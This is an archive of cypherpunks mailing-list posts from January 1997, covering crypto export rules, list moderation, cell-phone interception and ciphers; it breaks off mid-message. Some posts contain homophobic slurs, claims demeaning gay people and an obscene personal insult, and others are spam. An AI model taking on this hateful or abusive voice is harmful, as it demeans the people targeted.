> Richard Johnson also star. 
> 
> 
> Dave

Homosexuality was pretty well accepted in GB in 1930's, as evidenced by the
success of Comrade Philby and his friends.

Homosexuals have a strange attraction to cryptography, perhaps because of its
connection to privacy and anonymity. But they haven't made any contribution to
it (or to any other area of human knowledge). They ascribe to Turing the
results of heterosexual cryptographers; they libel prominent heterosexuals
like Leonardo da Vinci to argue that their perversion somehow leads to
intellectual superiority.

While homosexuality used to be a detriment to obtaining a security clearance,
being gay at NSA was a big plus under Inman. Of course now being gay is a big
plus anywhere in the KKKlintoris administration.

ObHomophobocReference: cocksucker John Gilmore is full of shit.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: iang@cs.berkeley.edu (Ian Goldberg)
Date: Mon, 13 Jan 1997 14:14:58 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Private Idaho source code now available
In-Reply-To: <199701120553.VAA10283@mail.pacifier.com>
Message-ID: <5bec3v$564@abraham.cs.berkeley.edu>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

In article <199701120553.VAA10283@mail.pacifier.com>,
jim bell  <jimbell@pacifier.com> wrote:
>At 11:35 PM 1/11/97 -0500, Anonymous wrote:
>>Joel McNamara says:
>>> Private Idaho 2.8b3, a bug fix version of the popular Windows freeware PGP
>>> and remailer utility, is now available.  This will be my last official
>>> release of PI for the foreseeable future.
>>> 
>>> Due to other projects and new directions, I haven't been able to spend as
>>> much time as I'd like coding and supporting Private Idaho.  Instead of
>>> seeing it die on the vine, I've decided to release the source code under
>>> the GNU General Public License (export disclaimer - the sources do not
>>> include, or have ever contained, cryptographic algorithms).
>>
>>	My understanding is that Private Idaho uses PGP internally
>>and provides the same functionality as premail, with an 
>>easier to use GUI.
>>
>>	Given that, it would still be export controlled, since it
>>enables cryptography. That is why Raph doesn't allow export of premail.
>
>The "enables cryptography" thing just doesn't cut it.  A computer "enables 
>cryptography" to a person without a computer.  The MSDOS operating system 
>"enables cryptography" to a person with a computer but without an OS.  A 
>hard disk with a filesystem "enables cryptography" by providing an 
>intermediate data storage location (and format) for encrypted and 
>unencrypted data, as well as the encryption program.  Even a modem program 
>or mail program "enables cryptography", or at least enables the transmission 
>of encrypted data, etc.
>
>Apparently, the phrase "enable cryptography" is either just about 
>meaningless, or is so broad as to be not usable to determine which items are 
>exportable and which aren't.  How about narrowing it down a bit?  

- From the Commerce Control List:

# 5D002.a: ``Software'' specially designed or modified for the
# ``development'', ``production'' or ``use'' of equipment or ``software''
# controlled by 5A002, 5B002 or 5D002.

# 5A002.a: Designed or modified to use ``cryptography'' employing digital
# techniques to ensure ``information security'';

5A002.a covers PGP, so it would seem that 5D002.a covers premail and
Private Idaho.

   - Ian

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ray Arachelian <sunder@brainlink.com>
Date: Mon, 13 Jan 1997 11:45:37 -0800 (PST)
To: ichudov@algebra.com
Subject: Re: A vote of confidence for Sandy
In-Reply-To: <199701110345.VAA02052@manifold.algebra.com>
Message-ID: <Pine.SUN.3.91.970113144323.17946B-100000@beast.brainlink.com>
MIME-Version: 1.0
Content-Type: text/plain


On Fri, 10 Jan 1997 ichudov@algebra.com wrote:

> Does not the moderated list, moderated by YOU, already exist? 
> 
> I am confused.

It is not the only one, however it doesn't run at the toad.com level.
 
> > What difference does it make if a message is delayed for 10-30 minutes?  
> > Why is it a bad idea or suspicious?  If you post something and it doesn't 
> 
> It is indeed suspicious because it raises a possibility of
> concealed human involvement.

What kind of concealed human involvement?  Running a raw list + a 
moderated list doubles the traffic.  Running a moderated + flames list 
keeps the traffic the same.  What's there to conceal when a flames list 
exists?
 
If your threat model is that paranoid, what's to stop someone now from 
intercepting traffic from toad.com from the sendmail queues?  Mail gets 
sent (typically, not sure about toad) every 15 minutes, that's enough 
time for human interaction.  What's the difference?

> > The point was to optimize the sendmail to send moderated messages first.
> 
> What does that optimise if there is a more or less continuous traffic?

> That's a non-answer.

Cute, ask a question, then answer it yourself for me?  If there is 
continous traffic, it's because of the flames that are autogenerated.  
There's been a rare day when there has ever been continous traffic.

=====================================Kaos=Keraunos=Kybernetos==============
.+.^.+.|  Ray Arachelian    | "If  you're  gonna die,  die  with your|./|\.
..\|/..|sunder@sundernet.com|boots on;  If you're  gonna  try,  just |/\|/\
<--*-->| ------------------ |stick around; Gonna cry? Just move along|\/|\/
../|\..| "A toast to Odin,  |you're gonna die, you're gonna die!"    |.\|/.
.+.v.+.|God of screwdrivers"|  --Iron Maiden "Die With Your Boots on"|.....
======================== http://www.sundernet.com =========================




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: CV Communications <sales@quantcom.com>
Date: Mon, 13 Jan 1997 12:09:51 -0800 (PST)
To: "cwrs@aol.com>
Subject: Customers For You !!
Message-ID: <199701131957.OAA15278@vineyard.net>
MIME-Version: 1.0
Content-Type: text/plain


The following message has been brought to you by CV Communications.
If you would like advertising rates and information, send an email to info@quantcom.com
or visit our website http://www.quantcom.com/CVcom
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info via email, please be sure to include your voice phone # and best
time to call, unless you would prefer not to be contacted via
telephone to follow up.







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "C. Kuethe" <ckuethe@gpu.srv.ualberta.ca>
Date: Mon, 13 Jan 1997 14:02:34 -0800 (PST)
To: Scottauge@aol.com
Subject: Re: RSA over Rubiks Cube
In-Reply-To: <970113114129_373924985@emout15.mail.aol.com>
Message-ID: <Pine.A32.3.93.970113150035.32152A-100000@gpu3.srv.ualberta.ca>
MIME-Version: 1.0
Content-Type: text/plain


On Mon, 13 Jan 1997 Scottauge@aol.com wrote:

 
> This problably wouldn't be to cool a thing to do.  A fella named Douglas
> Hopstader(?) wrote a book called Meta-Mathematics (same guy who wrote The
> Golden Knot).  In this book he developed (or showed, forget who should get
> credit) an algorithm to solve Rubiks cube from any beginning state.

His name is Douglas Hofstader and the book is called "metamagical themas". He
also wrote "Godel, Escher, Bach".

--                                                                              
Chris Kuethe <ckuethe@gpu.srv.ualberta.ca> LPGV Electronics and Controls
        <c100305@wolfcreek.cs.ualberta.ca> http://www.ualberta.ca/~ckuethe/
RSA in 2 lines of PERL lives at http://www.dcs.ex.ac.uk/~aba/rsa/          
print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>   
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Michael Johnson <mpj@csn.net>
Date: Mon, 13 Jan 1997 14:23:51 -0800 (PST)
To: cryptography@c2.org
Subject: Crypto site move http://www.sni.net/~mpj/usa/warning.htm
Message-ID: <Pine.3.89.9701131542.A24317-0100000@teal.csn.net>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----


The method for accessing my strong crypto library ftp site has
changed to one that I hope is easier for those of you who are in
the USA or Canada.  Simply point your browser to
http://www.sni.net/~mpj/usa/warning.htm and follow the
instructions. This should work even with text-based browsers,
like lynx, and should be easier to navigate for AOL customers.

You may be amused that the President of the United States has
determined that cryptographic software export controls are
necessary for U. S. "National Security" even though the same
software is available "or appears to be available" from outside
of the USA. For a partial list of cryptographic software sites
outside of North America, see
http://www.sni.net/~mpj/freecryp.htm



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JiRn7W1A2YIvNQqMizUxOnoGnazkp6rMBCYvV6wTb2MCbQ8U/BLBGw==
=X33F
-----END PGP SIGNATURE-----




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sean Roach <roach_s@alph.swosu.edu>
Date: Mon, 13 Jan 1997 15:23:47 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: A vote of confidence for Sandy
Message-ID: <199701132323.PAA02433@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 01:18 AM 1/11/97 -0600, Igor Chudov wrote:
>Bill Frantz wrote:
...
>> Let me rant a bit about the "ideal" moderation structure.  Igor Chudov's
>> software lets people like Matt Blase and Bruce Schneier post whatever they
>> want.  (I would add people like Black Unicorn as well.  YMMV)  Other posts
>> go into a pool accessible to all moderators.  If one moderator approves,
>> the message goes out.  If N reject, it is rejected.  These rejections could
>> either be anonymous or be included in an x-moderators-rejecting: header for
>> the "worst of cypherpunks" list.
>
>I think that Bill proposes a very interesting idea. His suggestion would
>eliminate a lot of [well-grounded] suspicion about arbitrary rejections
>at a "whim" of moderators.
>
>My only concern is that there will be more work for moderators, because
>in his scheme each "bad" message has to be reviewed by N people instead
>of 1.
>
>It is a tradeoff between a more liberal policy and efficient use of
>moderators' time.

As long as a number of moderators have access, then why not also include in
the header information the number of available moderators that gave the
content a "thumbs up".  If this were tacked on to the front of the subject
field, (for people like me whor are using Eudora Lite), then messages could
be chosen, by the readers, based on the number of moderators that gave it
approval.  Ideally, a relatively large number of moderators would be on hand
so that the scale would be an accurate cross-reference of the groups opinions.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sean Roach <roach_s@alph.swosu.edu>
Date: Mon, 13 Jan 1997 15:32:19 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Comments on moderation
Message-ID: <199701132332.PAA02661@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 09:28 AM 1/11/97 -0800, Dale Thorn wrote:
>Alan Olsen wrote:
...
>> I
>> have seen little evidence that the doom they predict is going to happen.
>
>Did you really want to say "no evidence", but were just hedging your bet?

This is not intended to place me on either side of this issue, but, by
referring to personal experiences, he does not need to hedge his bet.  Just
an observation.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Geoff Klein <geoff@commtouch.co.il>
Date: Mon, 13 Jan 1997 05:49:18 -0800 (PST)
To: coderpunks@toad.com
Subject: Product Manager for hire.
Message-ID: <19970113154559geoff@geoff>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit

To: cypherpunks@toad.com, coderpunks@toad.com
Date: Mon Jan 13 15:45:49 1997


Product Manager with extensive experience in messaging and security is 
seeking a challenging position in a warm climate. For resume see: 
http://members.tripod.com/~geoff_cv/


- ------------------------------------------------------------------------
Geoff Klein,     Pronto Secure Product Manager
http://www.commtouch.com, Tel: 972-9-963445 (ext 130), Fax: 972-9-961053
For my PGP public key send mail with subject: Get Key
- ------------------------------------------------------------------------
-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: noconv

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trqggHQUhjlDYftwTAJdnBNXh/XAfGCgoPpHJ4pYOEYs+mVpsla1a9w7SFuQUb18
zKwP1hKlacI=
=F8SZ
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Clay Olbon II <olbon@ix.netcom.com>
Date: Mon, 13 Jan 1997 16:13:37 -0800 (PST)
To: cypherpunks@toad.com
Subject: Newt's phone calls
Message-ID: <1.5.4.16.19970113191647.098f90d2@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



I just caught the news reports of Newt Gingrich's cell phone calls being
taped by "a little old retired couple" with a scanner.  These were then
given to a congressman, who gave them to a newspaper.

The take on this that we won't hear is: "This is outrageous!  Why don't
cell-phones offer encryption to ensure our privacy?"

Unfortunately, I think crypto is still so far beneath the public
consciousness that the obvious solution to these sorts of problems is
ignored in favor of the "there oughta be a law" non-solution.  (Of course,
in this case there is a law!) What I really hope this incident spawns is a
market ...

        Clay

*******************************************************
Clay Olbon			    olbon@ix.netcom.com
sys-admin, engineer, programmer, statistitian, etc.
**********************************************tanstaafl





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: skelly@southeast.net
Date: Mon, 13 Jan 1997 13:50:06 -0800 (PST)
To: cypherpunks@toad.com
Subject: PAY DIRT!
Message-ID: <199701132154.QAA15879@mailhub.southeast.net>
MIME-Version: 1.0
Content-Type: text/plain


I_Love_SPAM,

Hi, this is Shane. Just thought I would
drop you a note. I was just writing
very respectfully to see if you would
be open to look at a new and phenomenal
opportunity<weekly pay,no activity requiremnts,
no levels and people above you are able to 
reposition themselves below you.
 Now, if you tell me you are focused and
 committed I will respect that.
However, if you would like to learn 
more please visit my website.
http://www.freedom4life.com 
This will give you a quick overview. If this 
looks interesting, leave me your phone number.
 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Eric Murray <ericm@lne.com>
Date: Mon, 13 Jan 1997 17:21:44 -0800 (PST)
To: olbon@ix.netcom.com (Clay Olbon II)
Subject: Re: Newt's phone calls
In-Reply-To: <1.5.4.16.19970113191647.098f90d2@popd.ix.netcom.com>
Message-ID: <199701140114.RAA02092@slack.lne.com>
MIME-Version: 1.0
Content-Type: text/plain


Clay Olbon II writes:
> 
> 
> I just caught the news reports of Newt Gingrich's cell phone calls being
> taped by "a little old retired couple" with a scanner.  These were then
> given to a congressman, who gave them to a newspaper.
> 
> The take on this that we won't hear is: "This is outrageous!  Why don't
> cell-phones offer encryption to ensure our privacy?"
> 
> Unfortunately, I think crypto is still so far beneath the public
> consciousness that the obvious solution to these sorts of problems is
> ignored in favor of the "there oughta be a law" non-solution.  (Of course,
> in this case there is a law!) What I really hope this incident spawns is a
> market ...

It won't.  It'll spawn more laws.

Encryption is voodoo to the masses and the politicians.  Even
in Silicon Valley newspapers there's the obligitory "encryption is the
science of scrambling words so that hackers can't read them" in
each article that mentions encryption.  However the masses and
politicans understand laws and jails pretty well.

Use a scanner, excuse me "cellular phone hacking equipment", go to jail.

-- 
Eric Murray  ericm@lne.com  ericm@motorcycle.com  http://www.lne.com/ericm
PGP keyid:E03F65E5 fingerprint:50 B0 A2 4C 7D 86 FC 03  92 E8 AC E6 7E 27 29 AF




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Mon, 13 Jan 1997 15:15:02 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Checking debit
In-Reply-To: <199701130446.UAA13794@ns2.accesscom.com>
Message-ID: <199701132321.RAA30596@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----


In <199701130446.UAA13794@ns2.accesscom.com>, on 01/11/97 at 12:46 AM,
   geo2@usa.net said:


>DEBIT YOUR CUSTOMERS' CHECKING ACCOUNTS ... COLLECT CHECK PAYMENTS FROM YOUR WEB PAGE,
>OVER THE PHONE, OR AS AN AUTOMATIC MONTHLY DEBIT!

>Close sales at your Web site, close telephone sales immediately, ship
>merchandise immediately(!) ...by drafting the customer's checking account.  

>No more waiting in vain for "checks in the mail."  This service increases
>your cash flow, and reduces the cost of billing, mailing, bookkeeping, and
>collections associated with your customers who pay by check...for far less
>than the cost of accepting credit cards! 

>For more information about this new service, please click "reply" to respond to me at
>geo2@usa.net.

Be afraid, be very afraid.

I didn't think one could debit a bank account without signed documentation
by the holder of the account giving permision to do so. Personaly I would
never give somone such authorization to do so.

If they are capable of getting access to funds in an account just by a phone
conversation this is truly a sad state of affairs for the banking community.

Could somone here with more banking background clarify this?

Thanks,
- --
- -----------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    WebExplorer & Java Enhanced!!!
Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice

Look for MR/2 Tips & Rexx Scripts
Get Work Place Shell for Windows!!
PGP & MR/2 the only way for secure e-mail.
                          
Finger whgiii@amaranth.com for PGP Key and other info
- -----------------------------------------------------------
 
Tag-O-Matic: MASOCHIST: Windows SDK programmer with a smile!

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Version: 2.6.2

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Mon, 13 Jan 1997 15:20:12 -0800 (PST)
To: azur@netcom.com (Steve Schear)
Subject: Re: OTA papers
In-Reply-To: <v02140b00af00318b1fef@[10.0.2.15]>
Message-ID: <199701132325.RAA30658@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----


In <v02140b00af00318b1fef@[10.0.2.15]>, on 01/13/97 at 02:50 PM,
   azur@netcom.com (Steve Schear) said:


>Its too bad OTA got the budgetary ax.  I met several of the staff and I
>regarded them highly.

Actually this is a GOOD thing. Now they will be using their talents & skills
in the real world providing a contribution to society rather than in another
unnecessary government bureaucracy.

- --
- -----------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    WebExplorer & Java Enhanced!!!
Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice

Look for MR/2 Tips & Rexx Scripts
Get Work Place Shell for Windows!!
PGP & MR/2 the only way for secure e-mail.
                          
Finger whgiii@amaranth.com for PGP Key and other info
- -----------------------------------------------------------
 
Tag-O-Matic: OS/2: Windows done RIGHT!

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/erDRFPFeAo=
=LPb/
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Rich Graves <rcgraves@disposable.com>
Date: Mon, 13 Jan 1997 17:23:20 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Checking debit
In-Reply-To: <199701132321.RAA30596@mailhub.amaranth.com>
Message-ID: <32DADF8A.74F6@disposable.com>
MIME-Version: 1.0
Content-Type: text/plain


William H. Geiger III wrote:
> 
> I didn't think one could debit a bank account without signed
> documentation by the holder of the account giving permision to do
> so.

Your thinking is incorrect.

> Personaly I would never give somone such authorization to do so.

If you have a credit card, call up customer service, and ask if you
can do a check by phone. There are a dozen services that do it. A
verbal agreement is all that's necessary. I'm not even sure the calls
are recorded; I recall no telltale beeps, which are required in 
California and other states. Western Union may do such transfers for
a fee.

> If they are capable of getting access to funds in an account just by
> a phone conversation this is truly a sad state of affairs for the
> banking community.

I quite agree. Sad, but true.
 
> Could somone here with more banking background clarify this?

I don't have a banking background, but I've done exactly the above as a 
standard-issue idiot consumer. All they need is your account number, a 
unique check number, and the central bank routing information. And your 
SSN, which your credit card company has already (how convenient). Oh, 
and I'm sure they need a hell of a lot of liability insurance.

-rich




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ian Goldberg <iang@cs.berkeley.edu>
Date: Mon, 13 Jan 1997 17:46:07 -0800 (PST)
To: risks@CSL.sri.com
Subject: Re: New US regs ban downloadable data-security software
Message-ID: <199701140145.RAA07183@cypherpunks.ca>
MIME-Version: 1.0
Content-Type: text/plain


Lucky Green said:
> The new US crypto export regulations control the export of most if not all
> data-security software. Regardless if the software uses cryptography or
> not. Many software archives seem to be in violation of the new regs.
> 
> <snip>
> 
> This certainly controls virus checkers, firewalls, and other security
> software. There are substantial penalties involved in violating the EAR.
> The US can assess daily penalties and block all exports of a company's
> non-violating products. Criminal penalties apply as well.
> 
> "Export", as defined in the new regs, includes making software available on
> the web or via ftp.

After _very_ careful reading of the Export Administration Regulations (EAR)
(though IANAL), it would seem that the above is slightly inaccurate.

Although, as Lucky pointed out, virus checkers et al. are indeed regulated
for export from the US, and putting software up for ftp or WWW is considered
export, the EAR does _not_ apply to "publicly available" software
(732.2(b)(1)).  Software is publicly available "when it is available for
general distribution either for free or at a price that does not exceed
the cost of reproduction and distribution" (734.7(b)).

Therefore, it would seem that, as long as the security software on your ftp
or WWW site is free of cost, it is OK to keep it there.  Commercial
security software, however, remains export-restricted.

NOTE, however, that products that actually do contain cryptography fall under
an exception (734.7(c)): "Notwithstanding paragraphs (a) and (b) of this
section, note that encryption software controlled under ECCN 5D002 for
``EI'' reasons on the Commerce Control List (refer to Supplement No. 1
to part 774 of the EAR) remains subject to the EAR even when publicly
available."

The software controlled for EI reasons under 5D002 are described as:
"EI controls apply to encryption software transferred from the U.S.
Munitions List to the Commerce Control List consistent with E.O. 13026
of November 15, 1996 (61 FR 58767) and pursuant to the Presidential
Memorandum of that date. Refer to Sec. 742.15 of the EAR."

As virus checkers et al. were not on the Munitions List, they are not
controlled for EI (Encryption Items) reasons, but rather for NS (National
Security) and AT (Anti-Terrorism) reasons.

The RISKS: the government suddenly creating (and putting into effect)
new rules covering large amounts of software, without warning or
(in my opinion) justification.

   - Ian "again, IANAL"




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan Bostick <abostick@netcom.com>
Date: Mon, 13 Jan 1997 17:59:30 -0800 (PST)
To: Ed Falk <ed.falk@Eng.Sun.COM>
Subject: Re: encryption program
In-Reply-To: <199701132023.MAA22372@peregrine.eng.sun.com>
Message-ID: <Pine.3.89.9701131715.A13546-0100000@netcom4>
MIME-Version: 1.0
Content-Type: text/plain




On Mon, 13 Jan 1997, Ed Falk wrote:

> > what do you mean, polyalphabetic substitution?
> 
> Someone can correct me if I'm wrong, but I believe it refers to a cipher
> where each character is encrypted individually, using a different
> monoalphabetic cipher for each one.  The ciphers repeat after
> a certain period, usually the key length.
> 
> Vigenere is the simplest polyalphabetic cipher of them all, with
> the individual ciphers simply being ROT-n.
> 

I'm convinced that the message in question is a polyalphabetic 
substitution.  Among other things, did people notice quite how much known 
(or *very easily guessable*) plaintext there was in the message sample,
above and beyond the free giveaway of the first line?  Things like 
"CONFIG.SYS", "FILES=20", BUFFERS=20", and so on.  There's enough
stuff there to make serious inroads into the message without cracking
the cipher; and with their help I'm pretty sure the back of the cipher
itself can be broken.  In the half-hour I played with it I got to the
point where I could make some educated guesses about the repetition
length of the substitution, and start filling in the various alphabets.

No doubt a *real* cryptanalyst could do even better.


Alan Bostick               | To achieve harmony in bad taste is the height
mailto:abostick@netcom.com | of elegance.
news:alt.grelb             |      Jean Genet
http://www.alumni.caltech.edu/~abostick





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Blanc Weber <blancw@microsoft.com>
Date: Mon, 13 Jan 1997 18:34:13 -0800 (PST)
To: "'cypherpunks@toad.com>
Subject: RE: New US regs ban downloadable data-security software
Message-ID: <c=US%a=_%p=msft%l=RED-81-MSG-970114023430Z-29584@INET-01-IMC.microsoft.com>
MIME-Version: 1.0
Content-Type: text/plain


If the 5D002 reasons find no exception for EI under Sec 742.15 (d)
inconsistent with E.O. 13026 (61 FR 58767), then does the NS go the way
of AT, or this just become a NNI?  

The RISKS: the government suddenly creating (and putting into effect)
new subparagraphs using large numbers of new acronyms, without warning
or (in my opinion) justification.

   ..
Blanc (LOL)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@replay.com (Anonymous)
Date: Mon, 13 Jan 1997 10:57:58 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: [ANNOUNCEMENT] U.S.S. Liberty
Message-ID: <199701131857.TAA06478@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain


Timmy C[unt] Maya's father, an idiot, stumbled across Timmy C[unt] 
Maya's mother, an imbecile, when she had no clothes on. Nine months 
later she had a little moron.

         \\\\\|/////
          \\\\|////
          < * | * >
          |   *   |
           \( . )/
            \___/





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@pathfinder.com>
Date: Mon, 13 Jan 1997 17:38:37 -0800 (PST)
To: Clay Olbon II <olbon@ix.netcom.com>
Subject: Re: Newt's phone calls
In-Reply-To: <1.5.4.16.19970113191647.098f90d2@popd.ix.netcom.com>
Message-ID: <Pine.GSO.3.95.970113203329.21655A-100000@cp.pathfinder.com>
MIME-Version: 1.0
Content-Type: text/plain


Don't be too sure that crypto is that far beneath the radar. I spent
Thursday through Saturday at an annual privacy conference for activists
from around the country, and they understood the principles. Their
voicemails were filling up with calls from reporters last Friday about the
Gingrich incident, and I know they were talking crypto.

The only other journalist who was there made an interesting point, that
encrypting cell phone traffic only up to the point it hits the phone
system wouldn't hinder L.E. access but would protect privacy. (Or,
perhaps, would be worse in the long term since we wouldn't have such
luscious examples.) 

-Declan


On Mon, 13 Jan 1997, Clay Olbon II wrote:

> 
> I just caught the news reports of Newt Gingrich's cell phone calls being
> taped by "a little old retired couple" with a scanner.  These were then
> given to a congressman, who gave them to a newspaper.
> 
> The take on this that we won't hear is: "This is outrageous!  Why don't
> cell-phones offer encryption to ensure our privacy?"
> 
> Unfortunately, I think crypto is still so far beneath the public
> consciousness that the obvious solution to these sorts of problems is
> ignored in favor of the "there oughta be a law" non-solution.  (Of course,
> in this case there is a law!) What I really hope this incident spawns is a
> market ...
> 
>         Clay
> 
> *******************************************************
> Clay Olbon			    olbon@ix.netcom.com
> sys-admin, engineer, programmer, statistitian, etc.
> **********************************************tanstaafl
> 
> 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: pgut001@cs.auckland.ac.nz
Date: Sun, 12 Jan 1997 23:38:35 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Menwith Hill / NSA
Message-ID: <85314110320182@cs26.cs.auckland.ac.nz>
MIME-Version: 1.0
Content-Type: text/plain


>At DefCon III, someone had a video on these ladies ("granny hackers" was
>the comment from the audience) who explore[d] the Menwith Hill NSA base in
>the UK.  The video was shown twice from what I remember, once in the main
>speaker room and once in the video room.  If anyone knows anything about
>this video then please email me [tobin@mail.edm.net], especially if you
>know WHO had it, where I could get a copy, etc.  Also, I'd like to hear
>about any other similar type things. (crypto, NSA, etc)

I talked to the guy who made the documentary (Duncan Campbell) an hour or two
ago, he's sending me the transcripts when he gets back to the UK.  I'll see 
if I can get his permission to post them to the web.  He's been doing this
sort of thing for about 25 years, and has some really neat stories to tell 
about his run-ins with the UK government.

Peter.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Mon, 13 Jan 1997 18:24:11 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: IMDMP: SOURCE CODE RELEASE ANNOUNCEMENT
In-Reply-To: <853170077.1023898.0@fatmans.demon.co.uk>
Message-ID: <VVZH1D96w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


paul@fatmans.demon.co.uk writes:

> > Comment: "What do you mean by 'extensive research'."
> > Reply: Benchmark tests. Source code comparisons. Documentations of other
> > algorithms. "Applied Cryptography".
>
> So you have read applied cryptography and decided that qualifies you
> as a cryptographer?

That's much better that Paul Bradley who's totally ignorant of cryptography.
But I agree that Bruce's book is neither necessary nor sufficient for someone
wanting to learn cryptography.

> > Comment: "What kind of industry standard is IMDMP above?"
> > Reply: 128-bit encryption. Average DES is 128. PGP tops 1024. IDEA goes at
> > 128. RSA the same. Full security IMDMP is 2048-bit. Any other questions?
>
> This is irrelevant rubbish, if there is a cryptanalytic attack on
> your algorithm a brute force attack becomes unecessary and key size is
> not of consequence.

What charming manners. And Paul Bradley's own rants about "brute force
attacks on one-time pads" are not rubbish, I suppose?

And how come Paul didn't use the word "fuck" in every paragraph, the way
he usually does?

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Mon, 13 Jan 1997 19:43:47 -0800 (PST)
To: Clay Olbon II <olbon@ix.netcom.com>
Subject: Re: Newt's phone calls
In-Reply-To: <1.5.4.16.19970113191647.098f90d2@popd.ix.netcom.com>
Message-ID: <199701140349.VAA01437@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----


In <1.5.4.16.19970113191647.098f90d2@popd.ix.netcom.com>, on 01/13/97 at 08:12 PM,
   Clay Olbon II <olbon@ix.netcom.com> said:


>I just caught the news reports of Newt Gingrich's cell phone calls being
>taped by "a little old retired couple" with a scanner.  These were then
>given to a congressman, who gave them to a newspaper.

>The take on this that we won't hear is: "This is outrageous!  Why don't
>cell-phones offer encryption to ensure our privacy?"

>Unfortunately, I think crypto is still so far beneath the public
>consciousness that the obvious solution to these sorts of problems is
>ignored in favor of the "there oughta be a law" non-solution.  (Of course,
>in this case there is a law!) What I really hope this incident spawns is a
>market ...

There is a very basic reason that cell phones are not encrypted; the government does not
want them encrypted. Many an arrest has been made from infromation gathered from
cell/wireless phone conversations. AFAIK the police do not even need a search warent to do
this.

With the cell phone industry regulated by the FCC I doubt that you will ever
see cell phone's with built in encryption.

As far as the general public is concerned the majority are sheep. They are
quite content to know that it is illegal for their neighbor to listen in and
ofcource Big Brother would only listen to those nasty drug dealers & mobsters.

- --
- -----------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    WebExplorer & Java Enhanced!!!
Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice

Look for MR/2 Tips & Rexx Scripts
Get Work Place Shell for Windows!!
PGP & MR/2 the only way for secure e-mail.
                          
Finger whgiii@amaranth.com for PGP Key and other info
- -----------------------------------------------------------
 
Tag-O-Matic: OS/2: Logic, not magic.

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=fa4Q
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Rich Graves <rcgraves@disposable.com>
Date: Mon, 13 Jan 1997 20:59:28 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Newt's phone calls
In-Reply-To: <Pine.GSO.3.95.970113203329.21655A-100000@cp.pathfinder.com>
Message-ID: <32DB1232.7FB1@disposable.com>
MIME-Version: 1.0
Content-Type: text/plain


Declan McCullagh wrote:
> 
> encrypting cell phone traffic only up to the point it hits the phone
> system wouldn't hinder L.E. access but would protect privacy. (Or,
> perhaps, would be worse in the long term since we wouldn't have such
